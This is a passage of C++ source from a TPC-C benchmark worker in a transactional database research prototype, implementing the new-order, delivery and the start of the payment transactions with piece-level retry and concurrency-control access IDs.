v_s_new.s_remote_cnt += (ol_supply_w_id == w_id) ? 0 : 1;
return reinterpret_cast<void *>(&Encode(new_value, v_s_new));
}
private:
const stock::key *k_s;
const uint ol_supply_w_id;
const uint ol_i_id;
const uint ol_quantity;
const uint w_id;
};
#define TXN_NEW_ORDER_LIST(x) \
x(0) \
x(1) \
x(3) \
x(4) \
x(6) \
x(7) \
x(8) \
x(9) \
x(10)
#define TXN_NEW_ORDER_PIECE_RETRY(a) \
case a: \
{ \
goto piece_retry_##a; \
break; \
}
// std::cerr << "goto " << #a <<std::endl;
tpcc_worker::txn_result
tpcc_worker::txn_new_order()
{
// pg->print_policy();
const uint warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
const uint districtID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
const uint customerID = GetCustomerId(r);
const uint numItems = RandomNumber(r, 5, 15);
uint itemIDs[15], supplierWarehouseIDs[15], orderQuantities[15], itemPrices[15];
bool allLocal = true;
for (uint i = 0; i < numItems; i++) {
itemIDs[i] = GetItemId(r);
if (likely(g_disable_xpartition_txn ||
NumWarehouses() == 1 ||
RandomNumber(r, 1, 100) > g_new_order_remote_item_pct)) {
supplierWarehouseIDs[i] = warehouse_id;
} else {
do {
supplierWarehouseIDs[i] = RandomNumber(r, 1, NumWarehouses());
} while (supplierWarehouseIDs[i] == warehouse_id);
allLocal = false;
}
orderQuantities[i] = RandomNumber(r, 1, 10);
}
INVARIANT(!g_disable_xpartition_txn || allLocal);
if (!allLocal)
++evt_tpcc_cross_partition_new_order_txns;
// XXX(stephentu): implement rollback
//
// worst case txn profile:
// 1 warehouse get
// 1 customer get
// 1 district get
// 1 district put
// 15 times:
// 1 item get
// 15 times:
// 1 stock get
// 1 stock put
// 1 oorder insert
// 1 oorder_cid_idx insert
// 15 times:
// 1 order_line insert
// 1 new_order insert
//
// output from txn counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 0
// max_read_set_size : 15
// max_write_set_size : 15
// num_txn_contexts : 9
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_TPCC_NEW_ORDER);
db->init_txn(txn, cgraph, neworder_type, policy, pg);
// hack - let the txn know the history of failed records
db->set_failed_records(txn, failed_records);
scoped_str_arena s_arena(arena);
scoped_multilock<spinlock> mlock;
if (g_enable_partition_locks) {
if (allLocal) {
mlock.enq(LockForPartition(warehouse_id));
} else {
small_unordered_map<unsigned int, bool, 64> lockset;
mlock.enq(LockForPartition(warehouse_id));
lockset[PartitionId(warehouse_id)] = 1;
for (uint i = 0; i < numItems; i++) {
if (lockset.find(PartitionId(supplierWarehouseIDs[i])) == lockset.end()) {
mlock.enq(LockForPartition(supplierWarehouseIDs[i]));
lockset[PartitionId(supplierWarehouseIDs[i])] = 1;
}
}
}
mlock.multilock();
}
try {
ssize_t ret = 0;
uint64_t my_next_o_id = 0;
std::pair<bool, uint32_t> expose_ret;
piece_retry_0:
//[WH]
const warehouse::key k_w(warehouse_id);
// access_id 0 - read warehouse
ALWAYS_ASSERT(tbl_warehouse(warehouse_id)
->get(txn, Encode(obj_key0, k_w), obj_v, std::string::npos, 0 /*access_id*/));
warehouse::value v_w_temp;
const warehouse::value *v_w = Decode(obj_v, v_w_temp);
checker::SanityCheckWarehouse(&k_w, v_w);
expose_ret = db->expose_uncommitted(txn, 0 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#ifdef USE_UPDATE_FUNC
piece_retry_1:
//[DIST]
const district::key k_d(warehouse_id, districtID);
// access_id 1 - read & write district
new_order_district_update_callback d_c(obj_v, str(), &k_d);
tbl_district(warehouse_id)->update(
txn, Encode(str(), k_d), obj_v, &d_c, 1 /*access_id*/);
my_next_o_id = d_c.get_my_next_o_id();
expose_ret = db->expose_uncommitted(txn, 1 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#else
piece_retry_1:
//[DIST]
const district::key k_d(warehouse_id, districtID);
// access_id 1 - read district
ALWAYS_ASSERT(tbl_district(warehouse_id)->get(
txn, Encode(obj_key0, k_d), obj_v, std::string::npos, 1 /*access_id*/));
expose_ret = db->expose_uncommitted(txn, 1 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_2:
district::value v_d_temp;
const district::value *v_d = Decode(obj_v, v_d_temp);
checker::SanityCheckDistrict(&k_d, v_d);
my_next_o_id = g_new_order_fast_id_gen ?
FastNewOrderIdGen(warehouse_id, districtID) : v_d->d_next_o_id;
if (!g_new_order_fast_id_gen) {
district::value v_d_new(*v_d);
v_d_new.d_next_o_id++;
// access_id 2 - write district
tbl_district(warehouse_id)->put(
txn, Encode(str(), k_d), Encode(str(), v_d_new), 2 /*access_id*/);
}
expose_ret = db->expose_uncommitted(txn, 2 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
#endif
piece_retry_3:
//[ITEM]
for (uint ol_number = 1; ol_number <= numItems; ol_number++) {
const uint ol_i_id = itemIDs[ol_number - 1];
const item::key k_i(ol_i_id);
// access_id 3 - read item
ALWAYS_ASSERT(tbl_item(1)->get(
txn, Encode(obj_key0, k_i), obj_v, std::string::npos, 3 /*access_id*/));
item::value v_i_temp;
const item::value *v_i = Decode(obj_v, v_i_temp);
itemPrices[ol_number - 1] = v_i->i_price;
checker::SanityCheckItem(&k_i, v_i);
}
expose_ret = db->expose_uncommitted(txn, 3 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_4:
//[STOCK]
for (uint ol_number = 1; ol_number <= numItems; ol_number++) {
const uint ol_supply_w_id = supplierWarehouseIDs[ol_number - 1];
const uint ol_i_id = itemIDs[ol_number - 1];
const uint ol_quantity = orderQuantities[ol_number - 1];
const stock::key k_s(ol_supply_w_id, ol_i_id);
#ifdef USE_UPDATE_FUNC
// access_id 3 - read & write stock
new_order_stock_update_callback s_c(obj_v, str(), &k_s, ol_supply_w_id, ol_i_id, ol_quantity, warehouse_id);
tbl_stock(ol_supply_w_id)->update(
txn, Encode(str(), k_s), obj_v, &s_c, 3 /*access_id*/);
#else
// access_id 4 - read stock
ALWAYS_ASSERT(tbl_stock(ol_supply_w_id)->get(
txn, Encode(obj_key0, k_s), obj_v, std::string::npos, 4 /*access_id*/));
stock::value v_s_temp;
const stock::value *v_s = Decode(obj_v, v_s_temp);
checker::SanityCheckStock(&k_s, v_s);
stock::value v_s_new(*v_s);
if (v_s_new.s_quantity - ol_quantity >= 10)
v_s_new.s_quantity -= ol_quantity;
else
v_s_new.s_quantity += -int32_t(ol_quantity) + 91;
v_s_new.s_ytd += ol_quantity;
v_s_new.s_remote_cnt += (ol_supply_w_id == warehouse_id) ? 0 : 1;
// access_id 5 - write stock
tbl_stock(ol_supply_w_id)->put(
txn, Encode(str(), k_s), Encode(str(), v_s_new), 5 /*access_id*/);
#endif
}
expose_ret = db->expose_uncommitted(txn, 5 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_6:
//[NEWORDER]
const new_order::key k_no(warehouse_id, districtID, my_next_o_id);
const new_order::value v_no;
const size_t new_order_sz = Size(v_no);
// access_id 6 - write new order / insert new order
tbl_new_order(warehouse_id)->insert(
txn, Encode(str(), k_no), Encode(str(), v_no), 6 /*access_id*/);
ret += new_order_sz;
expose_ret = db->expose_uncommitted(txn, 6 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_7:
//[ORDER & ORDERINDEX]
const oorder::key k_oo(warehouse_id, districtID, my_next_o_id);
oorder::value v_oo;
v_oo.o_c_id = int32_t(customerID);
v_oo.o_carrier_id = 0; // seems to be ignored
v_oo.o_ol_cnt = int8_t(numItems);
v_oo.o_all_local = allLocal;
v_oo.o_entry_d = GetCurrentTimeMillis();
const size_t oorder_sz = Size(v_oo);
// access_id 7 - write order / insert order
tbl_oorder(warehouse_id)->insert(
txn, Encode(str(), k_oo), Encode(str(), v_oo), 7 /*access_id*/);
ret += oorder_sz;
expose_ret = db->expose_uncommitted(txn, 7 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
const oorder_c_id_idx::key k_oo_idx(warehouse_id, districtID, customerID, my_next_o_id);
const oorder_c_id_idx::value v_oo_idx(0);
piece_retry_8:
// access_id 8 - write order index / insert order index
tbl_oorder_c_id_idx(warehouse_id)->insert(
txn, Encode(str(), k_oo_idx), Encode(str(), v_oo_idx), 8 /*access_id*/);
expose_ret = db->expose_uncommitted(txn, 8 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_9:
//[ORDERLINE]
for (uint ol_number = 1; ol_number <= numItems; ol_number++) {
const uint ol_supply_w_id = supplierWarehouseIDs[ol_number - 1];
const uint ol_i_id = itemIDs[ol_number - 1];
const uint ol_quantity = orderQuantities[ol_number - 1];
const order_line::key k_ol(warehouse_id, districtID, my_next_o_id, ol_number);
order_line::value v_ol;
v_ol.ol_i_id = int32_t(ol_i_id);
v_ol.ol_delivery_d = 0; // not delivered yet
v_ol.ol_amount = float(ol_quantity) * itemPrices[ol_number - 1];
v_ol.ol_supply_w_id = int32_t(ol_supply_w_id);
v_ol.ol_quantity = int8_t(ol_quantity);
const size_t order_line_sz = Size(v_ol);
// access_id 9 write order line / insert order line
tbl_order_line(warehouse_id)->insert(
txn, Encode(str(), k_ol), Encode(str(), v_ol), 9 /*access_id*/);
ret += order_line_sz;
}
expose_ret = db->expose_uncommitted(txn, 9 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_10:
//[CUST]
const customer::key k_c(warehouse_id, districtID, customerID);
// access_id 10 - read customer
ALWAYS_ASSERT(tbl_customer(warehouse_id)->get(
txn, Encode(obj_key0, k_c), obj_v, std::string::npos, 10 /*access_id*/));
customer::value v_c_temp;
const customer::value *v_c = Decode(obj_v, v_c_temp);
checker::SanityCheckCustomer(&k_c, v_c);
expose_ret = db->expose_uncommitted(txn, 10 + ACCESSES/*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_NEW_ORDER_LIST(TXN_NEW_ORDER_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
measure_txn_counters(txn, "txn_new_order");
// if (likely(db->commit_txn(txn)))
// return txn_result(true, neworder_type);
bool res = db->commit_txn(txn);
set_failed_records(db->get_failed_records(txn));
finished_txn_contention = db->get_txn_contention(txn);
return txn_result(res, neworder_type);
} catch(transaction_abort_exception &ex) {
db->abort_txn(txn);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
}
return txn_result(false, neworder_type);
}
#undef TXN_NEW_ORDER_PIECE_RETRY
class new_order_scan_callback : public abstract_ordered_index::scan_callback {
public:
new_order_scan_callback() : k_no(0) {}
virtual bool invoke(
const char *keyp, size_t keylen,
const string &value)
{
INVARIANT(keylen == sizeof(new_order::key));
INVARIANT(value.size() == sizeof(new_order::value));
k_no = Decode(keyp, k_no_temp);
#ifdef CHECK_INVARIANTS
new_order::value v_no_temp;
const new_order::value *v_no = Decode(value, v_no_temp);
checker::SanityCheckNewOrder(k_no, v_no);
#endif
return false;
}
inline const new_order::key *
get_key() const
{
return k_no;
}
private:
new_order::key k_no_temp;
const new_order::key *k_no;
};
STATIC_COUNTER_DECL(scopedperf::tod_ctr, delivery_probe0_tod, delivery_probe0_cg)
#ifdef TPCC_DELIVERY_SEPERATE
tpcc_worker::txn_result
tpcc_worker::txn_delivery()
{
const uint warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
const uint o_carrier_id = RandomNumber(r, 1, NumDistrictsPerWarehouse());
const uint32_t ts = GetCurrentTimeMillis();
// worst case txn profile:
// 10 times:
// 1 new_order scan node
// 1 oorder get
// 2 order_line scan nodes
// 15 order_line puts
// 1 new_order remove
// 1 oorder put
// 1 customer get
// 1 customer put
//
// output from counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 21
// max_read_set_size : 133
// max_write_set_size : 133
// num_txn_contexts : 4
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_TPCC_DELIVERY);
db->init_txn(txn, cgraph, delivery_type);
scoped_str_arena s_arena(arena);
scoped_lock_guard<spinlock> slock(
g_enable_partition_locks ? &LockForPartition(warehouse_id) : nullptr);
try {
ssize_t ret = 0;
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
int32_t last_no_o_id = 0;
//[NEWORDER]
// XXX(Conrad): dep_piece_id 13
neworder_piece:
try {
//printf("PIECE BEGIN\n");
db->mul_ops_begin(txn);
const new_order::key k_no_0(warehouse_id, d, dist_last_id[warehouse_id - 1][ d - 1].last_no_o_ids);
const new_order::key k_no_1(warehouse_id, d, numeric_limits<int32_t>::max());
new_order_scan_callback enw_order_c;
{
ANON_REGION("DeliverNewOrderScan:", &delivery_probe0_cg);
// XXX(Conrad): Scan operator, need to decide?
tbl_new_order(warehouse_id)->scan(txn, Encode(str(), k_no_0), &Encode(str(), k_no_1), new_order_c, s_arena.get());
}
const new_order::key *k_no = new_order_c.get_key();
if (unlikely(!k_no)) {
if(!db->mul_ops_end(txn)) {
//printf("PIECE ABORT 1\n");
goto neworder_piece;
}
else {
//to simulate the cust conflict piece
db->one_op_begin(txn);
db->one_op_end(txn);
}
continue;
}
last_no_o_id = k_no->no_o_id;
dist_last_id[warehouse_id - 1][ d - 1].last_no_o_ids = last_no_o_id + 1; // XXX: update last seen
// delete new order
// XXX(Conrad): access_id 18 - delete new order / remove new order
tbl_new_order(warehouse_id)->remove(
txn, Encode(str(), *k_no),
policy->is_occ(false, 18, false));
ret -= 0 /*new_order_c.get_value_size()*/;
if(!db->mul_ops_end(txn)) {
//printf("PIECE ABORT 2\n");
goto neworder_piece;
}
} catch(piece_abort_exception &ex) {
//printf("PIECE ABORT 2\n");
db->atomic_ops_abort(txn);
goto neworder_piece;
}
//[ORDER]
// XXX(Conrad): dep_piece_id 14
const oorder::key k_oo(warehouse_id, d, last_no_o_id);
// XXX(Conrad): access_id 19 - read order
ALWAYS_ASSERT(tbl_oorder(warehouse_id)->get(
txn, Encode(obj_key0, k_oo), obj_v,
std::string::npos,
policy->is_occ(true, 14, false)));
oorder::value v_oo_temp;
const oorder::value *v_oo = Decode(obj_v, v_oo_temp);
checker::SanityCheckOOrder(&k_oo, v_oo);
//[ORDERLINE]
// XXX(Conrad): dep_piece_id 15
static_limit_callback<15> c(s_arena.get(), false); // never more than 15 order_lines per order
const order_line::key k_oo_0(warehouse_id, d, last_no_o_id, 0);
const order_line::key k_oo_1(warehouse_id, d, last_no_o_id, numeric_limits<int32_t>::max());
// XXX(stephentu): mutable scans would help here
// XXX(Conrad): Scan operator, need to decide?
tbl_order_line(warehouse_id)->scan(txn, Encode(obj_key0, k_oo_0), &Encode(obj_key1, k_oo_1), c, s_arena.get());
float sum = 0.0;
ALWAYS_ASSERT(c.size() <= 15);
for (size_t i = 0; i < c.size(); i++) {
order_line::value v_ol_temp;
const order_line::value *v_ol = Decode(*c.values[i].second, v_ol_temp);
#ifdef CHECK_INVARIANTS
order_line::key k_ol_temp;
const order_line::key *k_ol = Decode(*c.values[i].first, k_ol_temp);
checker::SanityCheckOrderLine(k_ol, v_ol);
#endif
sum += v_ol->ol_amount;
order_line::value v_ol_new(*v_ol);
v_ol_new.ol_delivery_d = ts;
INVARIANT(s_arena.get()->manages(c.values[i].first));
// XXX(Conrad): access_id 20 - write order line
tbl_order_line(warehouse_id)->put(
txn, *c.values[i].first, Encode(obj_v, v_ol_new),
policy->is_occ(false, 20, false));
}
// update oorder
// XXX(Conrad): dep_piece_id 16
oorder::value v_oo_new(*v_oo);
v_oo_new.o_carrier_id = o_carrier_id;
// XXX(Conrad): access_id 21 - write order
tbl_oorder(warehouse_id)->put(
txn, Encode(str(), k_oo), Encode(obj_v, v_oo_new),
policy->is_occ(false, 21, false));
const uint c_id = v_oo->o_c_id;
const float ol_total = sum;
customer_piece:
//[CUSTOMER]: update customer
// XXX(Conrad): dep_piece_id 17
try {
db->one_op_begin(txn);
const customer::key k_c(warehouse_id, d, c_id);
// XXX(Conrad): access_id 23 - read customer
ALWAYS_ASSERT(tbl_customer(warehouse_id)->get(
txn, Encode(obj_key0, k_c), obj_v,
std::string::npos,
policy->is_occ(true, 23, false)));
customer::value v_c_temp;
const customer::value *v_c = Decode(obj_v, v_c_temp);
customer::value v_c_new(*v_c);
v_c_new.c_balance += ol_total;
// XXX(Conrad): access_id 24 - write customer
tbl_customer(warehouse_id)->put(
txn, Encode(str(), k_c), Encode(obj_v, v_c_new),
policy->is_occ(false, 24, false));
if(!db->one_op_end(txn))
goto customer_piece;
} catch(piece_abort_exception &ex) {
db->atomic_ops_abort(txn);
goto customer_piece;
}
}
measure_txn_counters(txn, "txn_delivery");
if (likely(db->commit_txn(txn)))
return txn_result(true, ret);
else
ALWAYS_ASSERT(false);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
ALWAYS_ASSERT(false);
}
return txn_result(false, 0);
}
#else
class delivery_order_update_callback : public update_callback {
public:
delivery_order_update_callback(std::string &retrieved_value, std::string &new_value, const oorder::key *k_oo, const uint o_carrier_id, uint (*c_id)[10], uint district)
: update_callback(retrieved_value, new_value), k_oo(k_oo), o_carrier_id(o_carrier_id), c_id(c_id), district(district) {}
virtual void *invoke() {
oorder::value v_oo_temp;
const oorder::value *v_oo = Decode(retrieved_value, v_oo_temp);
checker::SanityCheckOOrder(k_oo, v_oo);
oorder::value v_oo_new(*v_oo);
v_oo_new.o_carrier_id = o_carrier_id;
(*c_id)[district - 1] = v_oo->o_c_id;
return reinterpret_cast<void *>(&Encode(new_value, v_oo_new));
}
private:
const oorder::key *k_oo;
const uint o_carrier_id;
uint (*c_id)[10];
uint district;
};
class delivery_customer_update_callback : public update_callback {
public:
delivery_customer_update_callback(std::string &retrieved_value, std::string &new_value, const customer::key *k_c, const float total)
: update_callback(retrieved_value, new_value), k_c(k_c), total(total) {}
virtual void *invoke() {
customer::value v_c_temp;
const customer::value *v_c = Decode(retrieved_value, v_c_temp);
checker::SanityCheckCustomer(k_c, v_c);
customer::value v_c_new(*v_c);
v_c_new.c_balance += total;
return reinterpret_cast<void *>(&Encode(new_value, v_c_new));
}
private:
const customer::key *k_c;
const float total;
};
#define TXN_DELIVERY_LIST(x) \
x(18) \
x(19) \
x(20) \
x(22) \
x(24)
#define TXN_DELIVERY_PIECE_RETRY(a) \
case a: \
{ \
goto piece_retry_##a; \
break; \
}
// std::cerr << "goto " << #a <<std::endl;
tpcc_worker::txn_result
tpcc_worker::txn_delivery()
{
uint warehouse_id = 0;
if (retry)
{
warehouse_id = delivery_warehouse;
}
else
{
warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
delivery_warehouse = warehouse_id;
}
const uint o_carrier_id = RandomNumber(r, 1, NumDistrictsPerWarehouse());
const uint32_t ts = GetCurrentTimeMillis();
// worst case txn profile:
// 10 times:
// 1 new_order scan node
// 1 oorder get
// 2 order_line scan nodes
// 15 order_line puts
// 1 new_order remove
// 1 oorder put
// 1 customer get
// 1 customer put
//
// output from counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 21
// max_read_set_size : 133
// max_write_set_size : 133
// num_txn_contexts : 4
void *txn = db->new_txn(txn_flags, arena, txn_buf(), abstract_db::HINT_TPCC_DELIVERY);
db->init_txn(txn, cgraph, delivery_type, policy, pg);
// hack - let the txn know the history of failed records
db->set_failed_records(txn, failed_records);
scoped_str_arena s_arena(arena);
scoped_lock_guard<spinlock> slock(
g_enable_partition_locks ? &LockForPartition(warehouse_id) : nullptr);
try {
size_t ret = 0;
int32_t last_no_o_id[10];
uint c_id[10];
float ol_total[10];
const new_order::key new_order_keys[10];
std::pair<bool, uint32_t> expose_ret;
piece_retry_18:
//[SCAN NEWORDER]
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
int district_key = 0;
if (retry)
{
district_key = local_last_no_o_ids[warehouse_id - 1][ d - 1];
}
else
{
district_key = dist_last_id[warehouse_id - 1][ d - 1].last_no_o_ids;
local_last_no_o_ids[warehouse_id - 1][d - 1] = district_key;
}
const new_order::key k_no_0(warehouse_id, d, district_key);
const new_order::key k_no_1(warehouse_id, d, numeric_limits<int32_t>::max());
new_order_scan_callback new_order_c;
{
ANON_REGION("DeliverNewOrderScan:", &delivery_probe0_cg);
// access_id 18 scan new_order table
tbl_new_order(warehouse_id)->scan(txn, Encode(str(), k_no_0), &Encode(str(), k_no_1),
new_order_c, s_arena.get(), 18 /*access_id*/);
}
const new_order::key *k_no = new_order_c.get_key();
if (unlikely(!k_no)) {
last_no_o_id[d - 1] = -1;
continue;
}
new_order_keys[d - 1] = *k_no;
last_no_o_id[d - 1] = k_no->no_o_id;
}
expose_ret = db->expose_uncommitted(txn, 18 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_DELIVERY_LIST(TXN_DELIVERY_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_19:
//[DELETE NEWORDER]
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
if(last_no_o_id[d - 1] == -1)
continue;
// access_id 19 delete new_order
tbl_new_order(warehouse_id)->remove(
txn, Encode(str(), new_order_keys[d - 1]), 19 /*access_id*/);
}
expose_ret = db->expose_uncommitted(txn, 19 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_DELIVERY_LIST(TXN_DELIVERY_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
if (!retry)
{
retry = true;
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
if(last_no_o_id[d - 1] != -1)
{
dist_last_id[warehouse_id - 1][ d - 1].last_no_o_ids = last_no_o_id[d - 1] + 1;
}
}
}
piece_retry_20:
//[ORDER]
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
if(last_no_o_id[d - 1] == -1)
continue;
const oorder::key k_oo(warehouse_id, d, last_no_o_id[d - 1]);
#ifdef USE_UPDATE_FUNC
// access_id 15 read & write order
delivery_order_update_callback o_c(obj_v, str(), &k_oo, o_carrier_id, &c_id, d);
tbl_oorder(warehouse_id)->update(
txn, Encode(str(), k_oo), obj_v, &o_c, 15 /*access_id*/);
#else
// access_id 20 read order
if(!tbl_oorder(warehouse_id)->get(
txn, Encode(obj_key0, k_oo), obj_v, std::string::npos, 20 /*access_id*/))
continue;
oorder::value v_oo_temp;
const oorder::value *v_oo = Decode(obj_v, v_oo_temp);
checker::SanityCheckOOrder(&k_oo, v_oo);
oorder::value v_oo_new(*v_oo);
v_oo_new.o_carrier_id = o_carrier_id;
// access_id 21 write order
tbl_oorder(warehouse_id)->put(
txn, Encode(str(), k_oo), Encode(str(), v_oo_new), 21 /*access_id*/);
c_id[d - 1] = v_oo->o_c_id;
#endif
}
expose_ret = db->expose_uncommitted(txn, 21 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_DELIVERY_LIST(TXN_DELIVERY_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_22:
//[ORDER_LINE]
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
if(last_no_o_id[d - 1] == -1)
continue;
static_limit_callback<15> c(s_arena.get(), false); // never more than 15 order_lines per order
const order_line::key k_oo_0(warehouse_id, d, last_no_o_id[d - 1], 0);
const order_line::key k_oo_1(warehouse_id, d, last_no_o_id[d - 1], numeric_limits<int32_t>::max());
// access_id 22 scan order_line
tbl_order_line(warehouse_id)->scan(txn, Encode(str(), k_oo_0), &Encode(str(), k_oo_1),
c, s_arena.get(), 22 /*access_id*/);
float sum = 0.0;
ALWAYS_ASSERT(c.size() <= 15);
for (size_t i = 0; i < c.size(); i++) {
order_line::value v_ol_temp;
const order_line::value *v_ol = Decode(*c.values[i].second, v_ol_temp);
#ifdef CHECK_INVARIANTS
order_line::key k_ol_temp;
const order_line::key *k_ol = Decode(*c.values[i].first, k_ol_temp);
checker::SanityCheckOrderLine(k_ol, v_ol);
#endif
sum += v_ol->ol_amount;
order_line::value v_ol_new(*v_ol);
v_ol_new.ol_delivery_d = ts;
INVARIANT(s_arena.get()->manages(c.values[i].first));
// access_id 23 write order_line
tbl_order_line(warehouse_id)->put(
txn, *c.values[i].first, Encode(str(), v_ol_new), 23 /*access_id*/);
}
ol_total[d - 1] = sum;
}
expose_ret = db->expose_uncommitted(txn, 23 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_DELIVERY_LIST(TXN_DELIVERY_PIECE_RETRY)
default: ALWAYS_ASSERT(false);
}
}
piece_retry_24:
//[CUSTOMER]
for (uint d = 1; d <= NumDistrictsPerWarehouse(); d++) {
if(last_no_o_id[d - 1] == -1)
continue;
const customer::key k_c(warehouse_id, d, c_id[d - 1]);
#ifdef USE_UPDATE_FUNC
// access_id 17 read & write customer
delivery_customer_update_callback c_c(obj_v, str(), &k_c, ol_total[d - 1]);
tbl_customer(warehouse_id)->update(
txn, Encode(str(), k_c), obj_v, &c_c, 17 /*access_id*/);
#else
// access_id 24 read customer
if(!tbl_customer(warehouse_id)->get(
txn, Encode(obj_key0, k_c), obj_v, std::string::npos, 24 /*access_id*/))
continue;
customer::value v_c_temp;
const customer::value *v_c = Decode(obj_v, v_c_temp);
customer::value v_c_new(*v_c);
v_c_new.c_balance += ol_total[d - 1];
// access_id 25 write customer
tbl_customer(warehouse_id)->put(
txn, Encode(str(), k_c), Encode(str(), v_c_new), 25 /*access_id*/);
#endif
}
expose_ret = db->expose_uncommitted(txn, 25 + ACCESSES /*access_id*/);
if (!expose_ret.first) {
switch (expose_ret.second) {
TXN_DELIVERY_LIST(TXN_DELIVERY_PIECE_RETRY)
default:
std::cout << "strange thing happen" <<std::endl;
std::cout << expose_ret.second << std::endl;
ALWAYS_ASSERT(false);
}
}
measure_txn_counters(txn, "txn_delivery");
// if (likely(db->commit_txn(txn)))
// return txn_result(true, delivery_type);
bool res = db->commit_txn(txn);
set_failed_records(db->get_failed_records(txn));
finished_txn_contention = db->get_txn_contention(txn);
if (res)
{
retry = false;
}
return txn_result(res, delivery_type);
} catch(transaction_abort_exception &ex) {
db->abort_txn(txn);
} catch (abstract_db::abstract_abort_exception &ex) {
db->abort_txn(txn);
}
return txn_result(false, delivery_type);
}
#endif
#undef TXN_DELIVERY_PIECE_RETRY
static event_avg_counter evt_avg_cust_name_idx_scan_size("avg_cust_name_idx_scan_size");
void payment_wh_act(std::string* val, uint64_t paymentAmount){
warehouse::value v_d_temp;
const warehouse::value *v_d = Decode(*val, v_d_temp);
warehouse::value v_d_new(*v_d);
v_d_new.w_ytd += paymentAmount;
v_d_new.w_tax += 1.0;
Encode(*val, v_d_new);
// fprintf(stderr, "[before] ytd %f tax %f ytd_delta %ld\n", v_d->w_ytd, v_d->w_tax, paymentAmount);
//const warehouse::value *v_dd = Decode(*val, v_d_temp);
// fprintf(stderr, "[after] ytd %f tax %f ytd_delta %ld\n", v_dd->w_ytd, v_dd->w_tax, paymentAmount);
}
void payment_dist_act(std::string* val, uint64_t paymentAmount){
district::value v_d_temp;
const district::value *v_d = Decode(*val, v_d_temp);
district::value v_d_new(*v_d);
v_d_new.d_ytd += paymentAmount;
Encode(*val, v_d_new);
}
#ifdef SUPPORT_COMMUTATIVE_OP
tpcc_worker::txn_result
tpcc_worker::txn_payment()
{
const uint warehouse_id = PickWarehouseId(r, warehouse_id_start, warehouse_id_end);
const uint districtID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
uint customerDistrictID, customerWarehouseID;
if (likely(g_disable_xpartition_txn ||
NumWarehouses() == 1 ||
RandomNumber(r, 1, 100) <= 85)) {
customerDistrictID = districtID;
customerWarehouseID = warehouse_id;
} else {
customerDistrictID = RandomNumber(r, 1, NumDistrictsPerWarehouse());
do {
customerWarehouseID = RandomNumber(r, 1, NumWarehouses());
} while (customerWarehouseID == warehouse_id);
}
const float paymentAmount = (float) (RandomNumber(r, 100, 500000) / 100.0);
const uint32_t ts = GetCurrentTimeMillis();
INVARIANT(!g_disable_xpartition_txn || customerWarehouseID == warehouse_id);
// output from txn counters:
// max_absent_range_set_size : 0
// max_absent_set_size : 0
// max_node_scan_size : 10
// max_read_set_size : 71
// max_write_set_size : 1
// num_txn_contexts : 5
